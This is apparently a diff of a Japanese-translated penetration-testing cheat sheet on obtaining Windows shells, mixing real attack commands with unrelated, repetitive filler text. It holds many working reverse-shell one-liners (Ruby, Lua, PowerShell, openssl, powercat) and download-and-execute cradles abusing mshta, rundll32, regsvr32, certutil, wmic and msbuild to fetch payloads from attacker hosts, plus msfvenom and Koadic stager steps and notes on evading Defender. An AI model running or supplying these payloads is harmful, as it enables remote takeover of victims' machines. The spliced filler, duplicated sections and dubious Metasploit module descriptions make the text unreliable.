WindowsでのRubyのインストール + +1. [RubyInstaller](https://rubyinstaller.org/)の公式ウェブサイトにアクセスします。 +2. ダウンロードページから、最新のRubyInstallerをダウンロードします。 +3. ダウンロードしたインストーラを実行し、指示に従ってインストールします。 + +#### LinuxでのRubyのインストール + +1. ターミナルを開きます。 +2. パッケージマネージャを使用してRubyをインストールします。例えば、Debianベースのディストリビューションでは、次のコマンドを実行します。 + +```bash +sudo apt-get install ruby +``` + +### Rubyの実行 + +Rubyスクリプトを実行するには、ターミナルで次のコマンドを使用します。 + +```bash +ruby script.rb +``` + +### Rubyの基本構文 + +以下は、Rubyの基本的な構文の例です。 + +#### 変数の宣言 + +```ruby +name = "John" +age = 25 +``` + +#### 条件分岐 + +```ruby +if age >= 18 + puts "You are an adult." +else + puts "You are a minor." +end +``` + +#### ループ + +```ruby +for i in 1..5 + puts i +end +``` + +#### 関数の定義 + +```ruby +def greet(name) + puts "Hello, #{name}!" +end + +greet("John") +``` + +これらは、Rubyの基本的な構文の一部です。Rubyにはさまざまな機能がありますが、ここでは基本的な概念に焦点を当てています。 + +### Rubyの便利なライブラリ + +Rubyには、さまざまな便利なライブラリがあります。以下は、いくつかの一般的なライブラリの例です。 + +- `net/http`:HTTPリクエストを送信するためのライブラリ。 +- `json`:JSONデータのパースと生成を行うためのライブラリ。 +- `csv`:CSVファイルの読み書きを行うためのライブラリ。 + +これらのライブラリは、Rubyの機能を拡張し、開発プロセスを簡素化するのに役立ちます。 + +### Rubyのセキュリティ + +Rubyは、セキュリティに関する機能やツールを提供しています。以下は、いくつかのセキュリティ関連のトピックの例です。 + +- サニタイズ:ユーザー入力を安全に処理するための方法。 +- エスケープ:特殊文字をエスケープするための方法。 +- 暗号化:データを暗号化するための方法。 + +これらのトピックは、Rubyのセキュリティに関する基本的な概念をカバーしています。 + +### Rubyのデバッグ + +Rubyには、デバッグに役立つツールやテクニックがあります。以下は、いくつかのデバッグ関連のトピックの例です。 + +- `puts`メソッド:変数の値を表示するための方法。 +- `binding.pry`:プログラムの実行を一時停止し、変数の値を調べるための方法。 +- `raise`キーワード:エラーを発生させるための方法。 + +これらのトピックは、Rubyのデバッグに関する基本的な概念をカバーしています。 + +### Rubyの拡張 + +Rubyは、拡張性が高く、カスタムの機能やライブラリを作成することができます。以下は、いくつかの拡張関連のトピックの例です。 + +- モジュール:再利用可能なコードのブロックを作成するための方法。 +- クラスの継承:既存のクラスを拡張するための方法。 +- ライブラリの作成:独自のライブラリを作成するための方法。 + +これらのトピックは、Rubyの拡張に関する基本的な概念をカバーしています。 + +Rubyは、柔軟性と読みやすさを兼ね備えた強力なプログラミング言語です。これらの基本的な概念を理解し、便利なライブラリやセキュリティ機能を活用することで、効率的な開発とセキュアなコーディングが可能になります。 ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## Lua +Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。Luaスクリプトは、Windowsシェルで実行することもできます。 + +### Luaスクリプトの実行 + +WindowsシェルでLuaスクリプトを実行するには、次の手順を実行します。 + +1. Luaの実行可能ファイル(`lua.exe`)をダウンロードしてインストールします。 + +2. コマンドプロンプトを開き、Luaスクリプトが保存されているディレクトリに移動します。 + +3. 次のコマンドを使用して、Luaスクリプトを実行します。 + + ``` + lua script.lua + ``` + + ここで、`script.lua`は実行したいLuaスクリプトのファイル名です。 + +### Luaスクリプトのデバッグ + +Luaスクリプトのデバッグには、デバッガツールを使用することができます。デバッガツールを使用すると、スクリプトの実行中に変数の値を確認したり、ステップ実行したりすることができます。 + +一般的なLuaデバッガツールには、[ZeroBrane Studio](https://studio.zerobrane.com/)や[Decoda](http://unknownworlds.com/decoda/)などがあります。これらのツールを使用すると、Luaスクリプトのデバッグが容易になります。 + +### Luaスクリプトのセキュリティ上の考慮事項 + +Luaスクリプトの実行には、セキュリティ上のリスクが伴う場合があります。悪意のあるスクリプトは、システムに損害を与える可能性があります。 + +以下のセキュリティ上の考慮事項に留意して、Luaスクリプトを実行してください。 + +- 信頼できるソースからのみスクリプトを実行する。 +- スクリプトがシステムリソースにアクセスしないようにする。 +- スクリプトが予期しない動作をしないようにする。 + +これらのセキュリティ上の考慮事項に留意することで、Luaスクリプトの実行を安全に行うことができます。 ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## OpenSSH -Attacker (Kali) - +攻撃者(Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -Victim - +被害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -83,74 +218,122 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## Powershell +Powershellは、Windowsシステムで使用される強力なスクリプト言語およびシェル環境です。Powershellは、Windowsの管理、自動化、およびタスクの実行に広く使用されています。以下に、Powershellを使用した一般的な攻撃手法とその対策を示します。 + +### Powershellの攻撃手法 + +1. **Powershellスクリプトの実行**: 攻撃者は、悪意のあるPowershellスクリプトを作成し、ターゲットシステムで実行することで、システムに侵入します。対策としては、信頼できるソースからのみPowershellスクリプトを実行するように設定することが重要です。 + +2. **Powershellリモートコード実行**: 攻撃者は、リモートでPowershellスクリプトを実行することで、ターゲットシステムに侵入します。対策としては、不要なPowershellリモートコード実行機能を無効にすることが重要です。 + +3. **Powershellのバイパス**: 攻撃者は、Powershellのセキュリティ制限を回避するために、バイパス技術を使用します。対策としては、Powershellの実行ポリシーを厳格に設定し、不要なバイパスを無効にすることが重要です。 + +4. **Powershellの権限昇格**: 攻撃者は、Powershellを使用してシステムの権限を昇格させることで、システムに深く侵入します。対策としては、最小特権の原則に基づいて、Powershellの実行権限を制限することが重要です。 + +### Powershellの対策 + +1. **Powershellの実行ポリシーの設定**: Powershellの実行ポリシーを制限することで、不正なスクリプトの実行を防ぐことができます。適切な実行ポリシーを設定し、信頼できるソースからのみスクリプトを実行するようにします。 + +2. **Powershellリモートコード実行の無効化**: 不要なPowershellリモートコード実行機能を無効にすることで、リモートからの攻撃を防ぐことができます。必要な場合にのみリモートコード実行を有効にし、信頼できる接続のみを許可します。 + +3. **Powershellのバイパスの無効化**: 不要なPowershellバイパスを無効にすることで、攻撃者のバイパス技術を防ぐことができます。必要なバイパスのみを有効にし、セキュリティ制限を厳密に設定します。 + +4. **最小特権の原則の適用**: Powershellの実行権限を最小限に制限することで、攻撃者の権限昇格を防ぐことができます。必要な権限のみを与え、不要な権限を削除します。 + +以上が、Powershellの一般的な攻撃手法と対策です。これらの対策を実施することで、Powershellを使用した攻撃からシステムを保護することができます。 ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` - -Process performing network call: **powershell.exe**\ -Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) - +ネットワーク呼び出しを実行しているプロセス: **powershell.exe**\ +ディスク上に書き込まれたペイロード: **NO** (_少なくとも私がprocmonを使用して見つけることはありませんでした!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` +ネットワーク呼び出しを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**One liner:** - +**ワンライナー:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` +Mshta is a Windows utility that allows you to execute HTML applications (HTAs) using the Microsoft HTML Application Host. It can be used as a shell to execute commands and scripts on a Windows system. -**Get more info about different Powershell Shells at the end of this document** +### Basic Usage -## Mshta +To use Mshta as a shell, you can create an HTA file with the desired commands or scripts and then execute it using the following command: +``` +mshta +``` + +For example, if you have an HTA file called `payload.hta`, you can execute it using the following command: + +``` +mshta payload.hta +``` + +### Payload Delivery + +Mshta can be used to deliver payloads to a target system. You can create an HTA file that contains malicious code or a script that downloads and executes a payload from a remote server. + +### Bypassing Application Whitelisting + +Mshta can be used to bypass application whitelisting on Windows systems. Since it is a legitimate Windows utility, it is often allowed by default in application whitelisting policies. + +### Persistence + +Mshta can be used to achieve persistence on a compromised system. You can create an HTA file that runs at startup or as a scheduled task to maintain access to the system. + +### Detection and Evasion + +Mshta can be detected by monitoring for its execution or by analyzing the HTA files it uses. To evade detection, you can obfuscate the HTA file or use techniques such as steganography to hide the malicious code. + +### References + +- [Mshta - Windows Command Line](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mshta) +- [Mshta - Attack Surface Analyzer](https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction) +- [Mshta - MITRE ATT&CK](https://attack.mitre.org/techniques/T1218/011/) ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` - -Process performing network call: **mshta.exe**\ -Payload written on disk: **IE local cache** - +ネットワーク呼び出しを実行するプロセス: **mshta.exe**\ +ディスク上に書き込まれたペイロード: **IEローカルキャッシュ** ```bash mshta http://webserver/payload.hta ``` - -Process performing network call: **mshta.exe**\ -Payload written on disk: **IE local cache** - +ネットワーク呼び出しを実行するプロセス: **mshta.exe**\ +ディスク上に書き込まれたペイロード: **IEローカルキャッシュ** ```bash mshta \\webdavserver\folder\payload.hta ``` +ネットワークコールを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -#### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** - +#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードして実行する)** ```markup - + +``` +**Koadicゾンビを非常に簡単にダウンロードして実行することができます。ステージャーhtaを使用した例** + +#### htaの例 + +```html + ``` -**You can download & execute very easily a Koadic zombie using the stager hta** - -#### hta example - +この例では、攻撃者のサーバーにある`evil.hta`ファイルを含む`iframe`要素が使用されています。この`hta`ファイルは、Koadicゾンビをダウンロードして実行するためのステージャーとして機能します。 ```markup @@ -158,11 +341,25 @@ Payload written on disk: **WebDAV client local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) - #### **mshta - sct** +**mshta** is a Windows utility that allows executing HTML applications (.hta files) without the need of a browser. This can be useful for executing malicious code on a target system. + +To use **mshta** with a **.sct** file, follow these steps: + +1. Create a **.sct** file with the desired script code. This file should contain VBScript or JScript code. +2. Host the **.sct** file on a web server or transfer it to the target system. +3. Use **mshta** to execute the **.sct** file by running the following command: + +``` +mshta http:////file.sct +``` + +Replace `` with the IP address or domain name of the server hosting the **.sct** file, and `` with the path to the file on the server. + +By executing the **.sct** file with **mshta**, the script code will be executed on the target system, allowing for various actions such as downloading and executing additional payloads, creating files, modifying the registry, or executing commands. + +It's important to note that **mshta** may trigger security alerts, as it is a known tool used by attackers. Therefore, it's crucial to use it responsibly and only in controlled environments, such as during penetration testing or authorized security assessments. ```markup @@ -173,16 +370,36 @@ Payload written on disk: **WebDAV client local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +#### **Mshta - Metasploit** #### **Mshta - Metasploit** +Mshta is a Microsoft HTML Application Host that allows you to execute HTML applications (.hta files) on Windows systems. It is a legitimate Windows component, but it can also be used by attackers to execute malicious code. + +Metasploit, a popular penetration testing framework, provides a module called `exploit/windows/browser/mshta` that allows you to exploit the Mshta vulnerability. + +To use this module, you need to set the `SRVHOST`, `SRVPORT`, and `URIPATH` options. The `SRVHOST` and `SRVPORT` options specify the IP address and port number of the Metasploit server, while the `URIPATH` option specifies the path of the malicious .hta file. + +Once the options are set, you can run the exploit by executing the `exploit` command. This will start the Metasploit server and serve the malicious .hta file to the target system. When the target system opens the .hta file, the payload will be executed. + +It is important to note that the target system must have Internet Explorer installed for this exploit to work. Additionally, the target system's security settings may affect the success of the exploit. + +#### **Mshta - Metasploit** + +Mshtaは、Windowsシステム上でHTMLアプリケーション(.htaファイル)を実行するためのMicrosoft HTML Application Hostです。これは正当なWindowsコンポーネントですが、攻撃者は悪意のあるコードを実行するためにも使用することができます。 + +人気のあるペネトレーションテストフレームワークであるMetasploitは、Mshtaの脆弱性を悪用するための`exploit/windows/browser/mshta`というモジュールを提供しています。 + +このモジュールを使用するには、`SRVHOST`、`SRVPORT`、および`URIPATH`オプションを設定する必要があります。`SRVHOST`と`SRVPORT`オプションは、MetasploitサーバーのIPアドレスとポート番号を指定し、`URIPATH`オプションは悪意のある.htaファイルのパスを指定します。 + +オプションが設定されたら、`exploit`コマンドを実行してエクスプロイトを実行できます。これにより、Metasploitサーバーが起動し、悪意のある.htaファイルがターゲットシステムに提供されます。ターゲットシステムが.htaファイルを開くと、ペイロードが実行されます。 + +このエクスプロイトが機能するには、ターゲットシステムにはInternet Explorerがインストールされている必要があります。さらに、ターゲットシステムのセキュリティ設定がエクスプロイトの成功に影響する可能性があります。 ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 @@ -193,31 +410,25 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` - -**Detected by defender** +**Defenderによって検出されました** ## **Rundll32** -[**Dll hello world example**](https://github.com/carterjones/hello-world-dll) - +[**Dllハローワールドの例**](https://github.com/carterjones/hello-world-dll) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +ネットワーク呼び出しを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` +ネットワーク呼び出しを実行しているプロセス:**rundll32.exe**\ +ディスク上に書き込まれたペイロード:**IEローカルキャッシュ** -Process performing network call: **rundll32.exe**\ -Payload written on disk: **IE local cache** - -**Detected by defender** +**Defenderによって検出されました** **Rundll32 - sct** - ```bash @@ -227,24 +438,56 @@ Payload written on disk: **IE local cache** ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +#### **Rundll32 - Metasploit** #### **Rundll32 - Metasploit** +Rundll32 is a Windows utility that allows the execution of DLL files as if they were executable files. This can be leveraged by an attacker to execute malicious code on a target system. + +Metasploit, a popular penetration testing framework, provides a module called "windows/local/execute" that can be used to execute arbitrary commands on a target system using rundll32. + +To use this module, you need to set the following options: + +- `SESSION`: The session number of the target system. +- `CMD`: The command to be executed. + +Once the options are set, you can run the module using the `exploit` command. + +Here is an example of how to use the "windows/local/execute" module in Metasploit to execute a command using rundll32: + +``` +use windows/local/execute +set SESSION +set CMD +exploit +``` + +After running the module, the specified command will be executed on the target system using rundll32. + +It is important to note that the target system must have the necessary DLL file for the command to be executed. Additionally, the user running rundll32 must have the appropriate permissions to execute the command. + +This technique can be useful for post-exploitation activities, such as executing additional commands or downloading and executing files on the target system. ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` - **Rundll32 - Koadic** +Rundll32 is a Windows utility that allows the execution of DLL files as functions. This can be leveraged by attackers to load malicious DLLs and execute their code. One popular tool that utilizes Rundll32 for post-exploitation is Koadic. + +Koadic is a post-exploitation RAT (Remote Access Tool) that provides a command-and-control interface to interact with compromised systems. It uses Rundll32 to load its DLL payload and establish a backdoor on the target machine. + +To use Koadic, the attacker first needs to generate a malicious DLL payload using the Koadic framework. This payload is then loaded using Rundll32, which executes the code contained within the DLL. Once the payload is executed, the attacker gains remote access to the compromised system and can perform various actions, such as executing commands, capturing screenshots, and exfiltrating data. + +Koadic provides a range of features that make it a powerful tool for post-exploitation activities. It supports multiple communication channels, including HTTP, HTTPS, and DNS, allowing the attacker to bypass network restrictions. It also has built-in modules for privilege escalation, lateral movement, and persistence, enabling the attacker to escalate privileges, move laterally within the network, and maintain access to the compromised system. + +It is important for defenders to be aware of the use of Rundll32 and tools like Koadic in post-exploitation scenarios. Monitoring for suspicious DLL loading activity and implementing strong security measures can help mitigate the risk of such attacks. ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 @@ -253,48 +496,90 @@ run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` - ## Regsvr32 +Regsvr32は、Windowsシステムで使用されるコマンドラインツールです。主にDLLファイルを登録および登録解除するために使用されます。このツールは、Windowsのレジストリにエントリを追加することで、DLLファイルをシステムに統合します。 + +### 使用法 + +Regsvr32を使用するには、次のコマンドを実行します。 + +```bash +regsvr32 +``` + +### 登録 + +DLLファイルを登録するには、次のコマンドを実行します。 + +```bash +regsvr32 +``` + +### 登録解除 + +DLLファイルの登録を解除するには、次のコマンドを実行します。 + +```bash +regsvr32 /u +``` + +### 注意事項 + +- Regsvr32を実行する際は、管理者権限が必要です。 +- 正しいパスを指定することが重要です。誤ったDLLファイルを登録すると、システムに問題が発生する可能性があります。 +- Regsvr32は、悪意のあるコードを実行するためにも使用されることがあります。不正なDLLファイルを登録することによるセキュリティリスクに注意してください。 + +詳細な情報については、[公式ドキュメント](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32)を参照してください。 ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` - -Process performing network call: **regsvr32.exe**\ -Payload written on disk: **IE local cache** - +ネットワーク呼び出しを実行するプロセス: **regsvr32.exe**\ +ディスク上に書き込まれたペイロード: **IEのローカルキャッシュ** ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` +ネットワーク呼び出しを実行しているプロセス:**svchost.exe**\ +ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**Detected by defender** +**Defenderによって検出されました** #### Regsvr32 -sct - ```markup - - ``` - -**Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) +#### **Regsvr32 - Metasploit** #### **Regsvr32 - Metasploit** +Regsvr32 is a Windows command-line utility used to register and unregister DLLs (Dynamic Link Libraries) and ActiveX controls in the Windows Registry. This utility can also be used to execute arbitrary code on a target system. + +Metasploit, a popular penetration testing framework, provides a module called `regsvr32_command_delivery` that leverages the regsvr32 utility to execute malicious code on a target system. + +To use this module, follow these steps: + +1. Start Metasploit by running the `msfconsole` command. +2. Search for the `regsvr32_command_delivery` module using the `search` command. +3. Load the module using the `use` command followed by the module name. +4. Set the required options, such as the `RHOSTS` (target IP address) and `CMD` (command to execute). +5. Run the module using the `exploit` command. + +Once the module is executed successfully, the specified command will be executed on the target system. + +It is important to note that the regsvr32 utility may trigger antivirus alerts, so additional evasion techniques may be necessary to bypass detection. ```bash use multi/script/web_delivery set target 3 @@ -303,60 +588,68 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` - -**You can download & execute very easily a Koadic zombie using the stager regsvr** +**非常に簡単にKoadicゾンビをダウンロードして実行できます。ステージャーregsvrを使用します** ## Certutil -Download a B64dll, decode it and execute it. - +B64dllをダウンロードし、デコードして実行します。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` - -Download a B64exe, decode it and execute it. - +B64exeをダウンロードし、デコードして実行します。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` - -**Detected by defender** +**Defenderによって検出されました** ***
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについて詳しく学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報奨金について通知を受ける -💬 Participate in community discussions +💬 コミュニティのディスカッションに参加する ## **Cscript/Wscript** - ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** +Cscript is a command-line scripting engine provided by Microsoft. It is commonly used to execute VBScript or JScript scripts on Windows systems. Metasploit, on the other hand, is a popular penetration testing framework that includes various tools and exploits for testing the security of computer systems. + +In the context of Metasploit, Cscript can be used as a payload to deliver malicious scripts to a target system. This can be done by creating a malicious script using Metasploit's scripting capabilities and then using Cscript to execute it on the target. + +To use Cscript as a payload in Metasploit, you can follow these steps: + +1. Generate a malicious script using Metasploit's scripting capabilities. This can be done using the `msfvenom` command, which allows you to generate various types of payloads. + +2. Set the payload to use Cscript. This can be done by specifying the `windows/cscript` payload in Metasploit. + +3. Configure the necessary options for the payload, such as the target IP address and port. + +4. Exploit the target system by running the exploit command. + +Once the exploit is successful, the malicious script will be executed on the target system using Cscript. This can allow you to perform various actions on the target, such as gaining remote access or executing commands. + +It is important to note that using Cscript as a payload can be detected by antivirus software, as it involves executing scripts on the target system. Therefore, it is recommended to use evasion techniques or modify the payload to bypass antivirus detection. + +For more information on using Cscript as a payload in Metasploit, you can refer to the Metasploit documentation or online resources. ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**Defenderによって検出されました** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +ネットワーク呼び出しを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -365,209 +658,186 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**防御者によって検出されました** ## **MSIExec** -Attacker - +攻撃者 ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +被害者: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**検出されました** ## **Wmic** - ``` wmic os get /format:"https://webserver/payload.xsl" ``` +ネットワークコールを実行するプロセス:**wmic.exe**\ +ディスク上に書き込まれたペイロード:**IEローカルキャッシュ** -Process performing network call: **wmic.exe**\ -Payload written on disk: **IE local cache** - -Example xsl file: - +例:xslファイル: ``` - - - + + + ``` +抽出元は[こちら](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) -Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) +**検出されない** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**stager wmicを使用して、非常に簡単にKoadicゾンビをダウンロードして実行できます** ## Msbuild - ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` +ネットワーク呼び出しを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +この技術を使用すると、アプリケーションホワイトリストとPowershell.exeの制限を回避できます。PSシェルが表示されるため、次のコードをダウンロードして実行してください: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**検出されない** ## **CSC** -Compile C# code in the victim machine. - +被害者のマシンでC#コードをコンパイルします。 ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +次の場所から基本的なC#リバースシェルをダウンロードできます:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**検出されません** ## **Regasm/Regsvc** - ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` +ネットワークコールを実行するプロセス:**svchost.exe**\ +ディスク上に書き込まれたペイロード:**WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**I haven't tried it** +**試したことはありません** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf - ``` odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` +ネットワークコールを実行するプロセス: **svchost.exe**\ +ディスク上に書き込まれたペイロード: **WebDAVクライアントのローカルキャッシュ** -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - -**I haven't tried it** +**試していません** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) -## Powershell Shells +## Powershellシェル ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +**Shells**フォルダには、さまざまなシェルがあります。**Invoke-_PowerShellTcp.ps1_**をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加してください: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +犠牲者の端末でスクリプトを実行するために、ウェブサーバーでスクリプトを提供し始めます。 ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defenderはそれを悪意のあるコードとして検出しません(まだ、3/04/2019)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: 他のnishangシェルをチェックする** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +ダウンロードし、ウェブサーバーを起動し、リスナーを起動し、被害者の端末で実行します: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defenderはそれを悪意のあるコードとして検出しません(まだ、2019年3月4日)。 -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**powercatが提供する他のオプション:** +バインドシェル、リバースシェル(TCP、UDP、DNS)、ポートリダイレクト、アップロード/ダウンロード、ペイロードの生成、ファイルの提供... ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd 